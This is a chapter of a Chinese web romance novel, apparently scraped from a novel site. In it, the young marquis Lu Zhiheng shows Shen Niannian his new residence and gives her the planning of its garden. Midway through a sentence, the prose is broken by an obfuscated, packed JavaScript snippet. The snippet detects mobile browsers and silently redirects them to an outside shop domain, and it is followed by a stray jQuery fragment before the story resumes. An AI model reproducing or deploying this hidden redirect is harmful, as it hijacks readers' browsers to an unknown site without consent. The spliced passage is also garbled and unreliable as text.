文趣网 > 都市小说 > 裙下权臣 > 40. 第40章 未来的家
    第40章未来的家

    陆执珩原是存了十足的耐心。

    他将沈念念以书吏之名留在身边,日日放在眼皮子底下看着,原是打算这般慢慢熬着,等她行过笄礼,年岁渐长,再一点点剖白心意,让她明白自己对她,从来都不是什么单纯的兄妹情分。

    他以为只要人在眼前,心总能慢慢捂热,情总能慢慢转变。

    可谢文远一出现,他那点稳如泰山的盘算,瞬间就乱了分寸。

    不过是贡院放榜,让她离开了半日,就出了沈淑母让她看亲这档子事。

    他再也没法安下心来,只要沈念念一时不在视线之内,便坐立难安,总怕一不留神,又生出什么他掌控不住的幺蛾子来。

    “真是……栽得彻底。”

    他指尖无意识摩挲着案上的书卷,低声自语,语气里带着自己都未察觉的焦躁与自嘲。

    想当年在沙场上刀光剑影、生死一线都未曾乱过心神,如今不过是一个才貌尚可的谢文远,竟搅得他连片刻安稳都求不得。

    原以为步步为营,万事皆在掌握,到头来才醒悟,只要牵扯上她,他所有的冷静自持,都不过是自欺欺人。

    行宫归京后,沈念念回沈府只歇了一日,忙着为拔得会元魁首的沈让庆贺。

    待到翌日退朝,晨雾散尽,阳光洒在五军都督府的青石板。

    陆执珩一身官袍,刚步入衙署,周身还带着朝堂上的清冷威仪,沈念念抱着卷宗,本以为他要如常入内堂办公,自己也该守在书案前整理文牍,未曾想,他脚步未顿,径直走到她面前,丝毫未曾避忌周遭往来的官吏侍从。

    不等她反应,温热有力的手掌已然攥住她的手腕,力道不轻不重,恰好将她牢牢扣在身侧,不由分说便往衙署外带。

    “珩哥哥?”沈念念猝不及防低呼一声,手中卷宗险些落地,心头满是错愕。

    自芦苇荡那夜后,他对自己再不曾有过这般亲昵又逾矩的举动,今日竟在人前半点避讳也无?

    陆执珩侧首垂眸望她,平日里覆在面上的冷峻淡漠尽数褪去,眼底只漾着浅淡柔和的笑意,独独对着她才有的温柔,混着不容置喙的惯有强势:“带你去个地方。”

    “去哪儿啊?”沈念念被他牵着往前走,心头疑云丛生,忍不住追问。

    陆执珩目光落在她下意识攥着他衣袖的指尖,那不经意间流露的依赖,笑意更深:“莫急,到了你便知道。”

    沈念念压不住满心好奇,乖乖跟着他上了停在衙署外的马车。

    车厢内铺着柔软的锦垫,熏着淡淡的松木香,是他身上独有的气息,熟悉得让人心头微颤。

    她挨着车壁坐下,时不时掀开车帘一角,看街景飞速后退。

    马车从五军都督府缓缓驶出,碾过繁华的长安街一路向东,入了崇文门内大街,又转而向南。

    周遭喧闹渐淡,行过一段闹中取静的狭长街巷,车轮轻碾,稳稳停下。

    沈念念掀帘望去,眼前赫然矗立着一座规制恢弘的宅邸。

    朱漆大门紧闭,兽面铜环虽已锈迹斑斑,却难掩皇家敕造的气派。

    唯独门楣之上空空如也,不见匾额,只余下四个规整的铜钉孔洞,她不由得蹙眉问道:“这是何人的府邸?瞧着建制,竟这般不凡。”

    陆执珩稳稳托住她的手肘,护她下了马车,两人并肩立在大门前。

    他望着这座沉寂许久的宅邸,语气平静却郑重地说:“陛下亲旨敕建,云中侯府。”

    这话入耳,沈念念猛地抬眸,怔怔望着眼前这座空旷肃穆的府邸,心头瞬间被巨大的惊喜撞得发颤。

    珩哥哥尚未行冠礼,便已凭赫赫战功受封云中侯,她虽早听闻陛下会御赐宅邸,却万万没想到,竟会是在皇城根下这般寸土寸金之地。

    如此恩宠,如此殊荣,放眼整个大雍朝堂,再也找不出第二人。

    单是眼前这侯府大门的气派,便已远非寻常官宦的沈府所能比拟。

    她从前只知珩哥哥以少年功勋封云中侯,位高权重,可直到今日亲身立在这侯府门前,指尖宛若能触到那沉甸甸的荣光,才真切地明白——她的珩哥哥,早已不是当年陪她嬉闹的少年郎,而是独当一面、身负朝野敬仰与万千荣光的大将军了。

    欢喜与骄傲在心底翻涌不息,分不清究竟是为他赫赫功绩而自豪,还是被眼前恢弘规制所震撼,一时竟怔怔立在原地,半晌回不过神。

    见她失神呆滞的模样,陆执珩眸底笑意愈浓,温声解释:“工部说,侯府匾额需择良辰吉日方能悬挂,如今还在筹备。”

    沈念念听着,心头已是一片滚烫,脱口便道:“那等匾额挂上那日,我一定要第一个来看。”

    “自然是等你第一个来看。”陆执珩凝望着她眼底的光彩,话音一转,藏进了旁人听不出的深意,“往后,你怕是日日都要往这儿来。”

    “啊?”沈念念彻底懵了,歪着头看他,满心不解,“为何要日日来呀?”

    陆执珩低低笑了一声,目光温柔得近乎缠绵,字字藏着私心:“云中侯府后续营造布置,需得你来全权督建。”

    “什么?!”沈念念惊得杏眸圆瞪,满脸错愕,全然没料到他会把这般要紧的事交到自己手上。

    他顺势拉起她的手,指腹温柔蹭过她细腻柔软的手背,语气尽是宠溺的失笑:“不过是让你管着府邸营造,便吓成这样?”

    “我、我哪里懂督建宅子……”沈念念脸颊微微发烫,指尖下意识蜷缩起来,有些无措。

    “何须你亲自动手费神。”陆执珩把玩着她纤细的指节,从容道:“工部自有工匠安排营造,你只需顺着自己心意,规划府里的亭台楼阁、一草一木,定下所有陈设景致便好。”

    顺着她的心意设计?

    可这终究是珩哥哥的府邸,不是她的。

    沈念念心头微乱,垂眸细若蚊蚋嘟囔着:“可……这是珩哥哥的侯府,全都按我的喜好来布置,将来的嫂嫂若是不喜欢,可如何是好?”

    话音刚落,她便觉手心骤然一紧。

    慌忙抬头,正撞进陆执珩深邃沉沉的眼眸。

    他目光灼灼地锁着她,语气斩钉截铁,没有半分迟疑:“她会喜欢的。”

    四目相对的一瞬,他眼神太过认真,那股不容置疑的笃定,沈念念一时竟读不懂,只觉心头猛地一跳,呼吸都跟着漏了一拍。

    滚烫的红晕瞬间攀上脸颊,她慌忙低下头去,不敢再与他对视,耳畔只剩下自己越来越急促的心跳声。

    一丝说不清道不明的情愫在心底悄悄蔓延,软软地缠在一起,她心慌意乱,却又不知该如何开口。

    陆执珩垂眸看着她泛红的耳尖,眼底闪过一丝得逞的笑意。

    他哪里是真的缺人督造侯府,不过是借着由头,名正言顺地将她圈在自己身边,占尽她的心思与时光,让她整日围着自己打转,再也不给谢文远那类旁人半分可乘之机。

    更何况,这座云中侯府,本就不是他一人的居所。

    这是他早就在心底,为自己与她,一点点勾勒出来的家。

    他此生,非她不娶。

    这府里的一砖一瓦,一草一木,自然都要合

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684500|205209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她的心意。

    她喜欢的,便是他想要的。

    他未来的妻,自始至终,只能是她沈念念一人。

    沈念念望着紧闭的朱门,眼底满是期待:“我想进去看看。”

    陆执珩微微蹙眉,语气带着几分顾虑:“里面空置多年,早已荒败狼藉,等让人简单收拾妥当,再带你细细观赏?”

    她却轻轻摇了摇头,态度十分坚持:“无妨,先粗略看一看便好。”

    陆执珩拿她没法,只得轻叹一声,满是纵容:“都依你。”

    厚重的大门被缓缓推开,陈旧木料发出悠长的吱呀声响,惊飞檐下栖着的一只麻雀。

    前院一片空旷萧条,两侧倒座房的门窗歪斜松动,墙角堆着层层枯叶,风一吹,尘土卷着碎叶漫天扬起。

    沈念念被呛得轻咳一声。

    陆执珩侧眸看她,戏谑道:“可是后悔进来了?”

    “才没有。”她挥袖拂开扑面的薄灰,抬脚便往里走去:“我就是想亲眼看看,珩哥哥的新宅究竟是什么模样。”

    陆执珩伸手牢牢牵住她,不动声色地将人护在身侧,边走边随口说道:“你珩哥哥向来运气好,这是当年非死罪抄没的旧邸,规制早已定下不能改动,我倒平白占了便宜,享了这‘逾制’的福。”

    “啊?!”沈念念顿时惊得睁大了眼。

    “四进院落,另有一处独立大花园,内设假山池沼,统共占地九亩。”

    话音落下,沈念念忍不住倒抽一口凉气,满心震撼:“怎么可以这么大?!”

    陆执珩唇角笑意更深,从容自得地说:“是侯府里的顶配。”

    沈念念连连点头,咂舌不已:“看出来了,确实享受到了‘逾制’。莫说两个沈府加起来都不及此处,便是我外祖父的丞相府,怕也不过如此!”

    陆执珩垂眸看向她,语气轻缓:“念念喜欢?”

    沈念念几乎是脱口而出:“喜欢!太气派了!”

    他伸手,轻轻掐了掐她软嫩的脸颊,歪了歪头说:“后罩房往北的那座大花园是你的,等收拾妥当,便种上你心心念念的枇杷、樱桃、桃子,到时果子结满枝头,不愁你不够送人”

    “真的?!”她脸上的惊喜溢于言表。

    陆执珩微微挑眉,眼底尽是傲娇:“自然是真的,你珩哥哥向你许诺的话,何曾有过虚言?”

    沈念念被他哄得心头一暖,再也按捺不住满心欢喜,转身便朝着后罩房的方向奔去。

    陆执珩看着她雀跃奔远的小身影,就这么被她轻飘飘丢在原地,摇头失笑。

    府邸最北端,那处独属于她的花园赫然在目。

    足足两亩地的范围,比整个沈府一半还要宽敞。

    只是如今荒了,池底干裂露着泥缝,假山上的亭子塌了一角。

    丛生的杂草长到半人高,风一吹过,便簌簌作响,添了几分荒芜。

    她站在荒草丛中,眼里半点不见嫌弃,反倒亮得惊人:“我要在东边种上白沙枇杷,还有那株难养的垂丝樱桃;西边就多栽几株玉露桃和水晶杨梅……还有一直没地方安置的马□□葡萄、沾化冬枣,这下全都能安排上!”

    她顿了顿,目光落在干涸的池沼上,嘴角弯得更甜:“等池子重新蓄满水,再养几尾珩哥哥最爱的昭和三色锦鲤,那样就再好不过了……”

    陆执珩缓步跟在她身后,静静听着她絮叨规划未来,眉眼间的冷硬尽数褪去,只剩温柔缱绻,唇角弯起一抹柔和的笑意。

    “好。”他轻声应下,“你只管安心种,这整座园子,从今往后都是你的。”